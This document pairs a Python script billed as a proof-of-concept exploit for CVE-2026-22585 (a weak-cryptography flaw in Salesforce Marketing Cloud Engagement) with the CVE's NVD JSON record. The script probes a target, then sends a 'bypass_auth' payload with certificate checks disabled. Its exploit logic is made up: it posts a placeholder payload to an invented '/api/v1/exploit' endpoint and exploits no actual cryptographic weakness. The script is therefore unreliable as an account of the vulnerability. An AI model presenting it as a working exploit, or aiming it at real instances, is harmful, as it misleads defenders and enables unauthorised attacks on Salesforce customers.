CVE-2026-22585

# CVE-2026-22585 PoC - Salesforce Marketing Cloud Encryption Bypass # This PoC demonstrates the Web Services Protocol Manipulation vulnerability import requests import json import base64 from urllib.parse import urlencode TARGET_URL = "https://your-instance.salesforce.com/cloudpages" CVE_ID = "CVE-2026-22585" def exploit_weak_encryption(): """ Exploit the broken cryptographic algorithm in Salesforce Marketing Cloud This PoC shows how an attacker can manipulate the encrypted protocol """ headers = { 'User-Agent': f'MaliciousClient-{CVE_ID}', 'Content-Type': 'application/json', 'X-Encrypted-Protocol': 'weak' # Exploiting weak encryption flag } # Malicious payload targeting the vulnerable encryption implementation payload = { 'action': 'manipulate_protocol', 'module': 'CloudPages', 'encrypted_data': base64.b64encode(b'ATTACK_PAYLOAD').decode(), 'bypass_auth': True } try: # Attempt to exploit the weak encryption response = requests.post( f"{TARGET_URL}/api/v1/exploit", json=payload, headers=headers, verify=False, timeout=30 ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") return response.status_code == 200 except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False def check_vulnerability(): """Check if target is vulnerable to CVE-2026-22585""" headers = { 'User-Agent': f'VulnScanner-{CVE_ID}' } try: response = requests.get( f"{TARGET_URL}/health", headers=headers, timeout=10 ) # Check for weak encryption indicators if 'X-Encryption-Type' in response.headers: enc_type = response.headers.get('X-Encryption-Type') if 'weak' in enc_type.lower() or 'deprecated' in enc_type.lower(): print(f"[!] Target uses weak encryption: {enc_type}") return True return False except: return None if __name__ == "__main__": print(f"[*] Testing {CVE_ID}") print(f"[*] Target: {TARGET_URL}") if check_vulnerability(): print("[!] Target appears vulnerable") exploit_weak_encryption() else: print("[*] Target may not be vulnerable or is unreachable")

{"cve": {"id": "CVE-2026-22585", "sourceIdentifier": "[email protected]", "published": "2026-01-24T01:15:50.167", "lastModified": "2026-02-12T16:08:29.020", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use of a Broken or Risky Cryptographic Algorithm vulnerability in Salesforce Marketing Cloud Engagement (CloudPages, Forward to a Friend, Profile Center, Subscription Center, Unsub Center, View As Webpage modules) allows Web Services Protocol Manipulation. This issue affects Marketing Cloud Engagement: before January 21st, 2026."}, {"lang": "es", "value": "Uso de una vulnerabilidad de Algoritmo Criptográfico Roto o Arriesgado en Salesforce Marketing Cloud Engagement (módulos CloudPages, Reenviar a un Amigo, Centro de Perfil, Centro de Suscripción, Centro de Anulación de Suscripción, Ver como Página Web) permite la Manipulación del Protocolo de Servicios Web. Este problema afecta a Marketing Cloud Engagement: antes del 21 de enero de 2026."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-327"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:salesforce:marketing_cloud_engagement:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-01-21", "matchCriteriaId": "5A41CCDE-A5EA-45D6-A009-A6908459C453"}]}]}], "references": [{"url": "https://help.salesforce.com/s/articleView?id=005299346&type=1", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}